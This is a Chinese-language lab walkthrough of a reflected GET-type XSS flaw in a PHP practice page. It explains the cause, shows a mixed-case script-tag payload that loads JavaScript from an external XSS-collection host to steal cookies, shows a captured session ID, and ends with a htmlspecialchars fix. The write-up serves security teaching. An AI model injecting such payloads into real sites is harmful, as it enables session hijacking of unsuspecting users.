1. 疑问与原理解析
疑问: 为什么在输入框里输入一段代码,它不会像普通文字一样显示出来,而是被浏览器当做指令执行了?而且为什么叫“反射型”?
原理: 这种情况发生的核心原因是 “数据与代码没有分离”。
当后端服务器(PHP)接收到在 URL 参数(GET 请求)中提交的数据后,没有经过任何过滤或转义,直接把它“拼接”到了 HTML 页面中返回给前端。
- 反射(Reflected): 就像照镜子一样,你发给服务器什么,服务器就立马弹回给你什么。
- 执行: 浏览器很“笨”,它分不清哪些是网页原本的代码,哪些是用户刚才输入的。如果输入包含了
<script>标签,浏览器就会认为这是网页开发者写的合法脚本,于是乖乖执行。
攻击场景: 攻击者把带有恶意脚本的 URL 链接 发送给受害者,受害者点击链接,脚本就在受害者的浏览器上执行(进而窃取 Cookie)。
2. 渗透测试过程
这一关是 GET 类型的 XSS,意味着 Payload 会直接暴露在 URL 地址栏中。
第一步:测试正常回显逻辑
首先像普通用户一样操作,理解业务逻辑。
在输入框输入 kobe,页面显示了一张科比的图片。
再输入一个无意义的数字 123,观察页面反应:
页面返回文本:
who is 123,i don't care!
关键点: 输入的 123 被原封不动地显示在了页面上。这意味着 输入点 和输出点 是连通的,且大概率没有严格过滤。
第二步:构造 Payload 与 平台接收
既然确定有回显,尝试插入 JavaScript 代码。为了验证危害(证明能拿到敏感信息),配合 XSS 平台使用。在 XSS 平台(TLXSS)https://xssaq.com/dashboard 生成了一个用于获取 Cookie 的 Payload:
<sCRiPt sRC=//xs.pe/EHr></sCrIpT>
此处要注意,该输入框的最大长度限制为 20 个字符,但由于是放在前端的,所以能直接修改,可以改为一个比较大的数,只要满足 payload 长度就行。

(注:这里使用了大小写混合,虽然本关没有正则过滤,但在实战中是绕过简单匹配的一种习惯)
将上述代码填入输入框,点击 submit。
第三步:验证攻击成果
输入 payload,点击提交,恶意脚本已经悄悄加载了外部 JS。并且由于是 get 类型的提交,可以在 url 中看到恶意 payload,如下图所示。

此时切回到 XSS 平台,查看项目记录:

- 结果: 成功接收到了受害者的访问记录。
- 获取数据:
触发Top URL: 包含 Payload 的完整恶意链接。Cookies:PHPSESSID=gkscbh5...(成功获取会话 ID)。IP: 152.233.3.53(电脑开了代理,应该是这个代理的 ip)

这意味着,如果把这个构造好的 URL 发给管理员点击,并且后端不验证,也许就能拿着这个 Cookie 直接登录后台了。
3. 源码分析
查看后端 PHP 源码,核心逻辑非常简单粗暴:
$message = $_GET['message'];
// ... 中间没有对 $message 进行 htmlspecialchars 处理...
$html .= "<p class='notice'>who is {$message},i don't care!</p>";
因为缺少了 htmlspecialchars() 函数对特殊字符(如 < > ' ")的转义,导致用户输入被当做了 HTML 标签解析。
修复方案:
在输出变量时进行编码处理:
$message = $_GET['message'];
// ... 中间没有对 $message 进行 htmlspecialchars 处理...
echo "who is " . htmlspecialchars($message) . ",i don't care!";
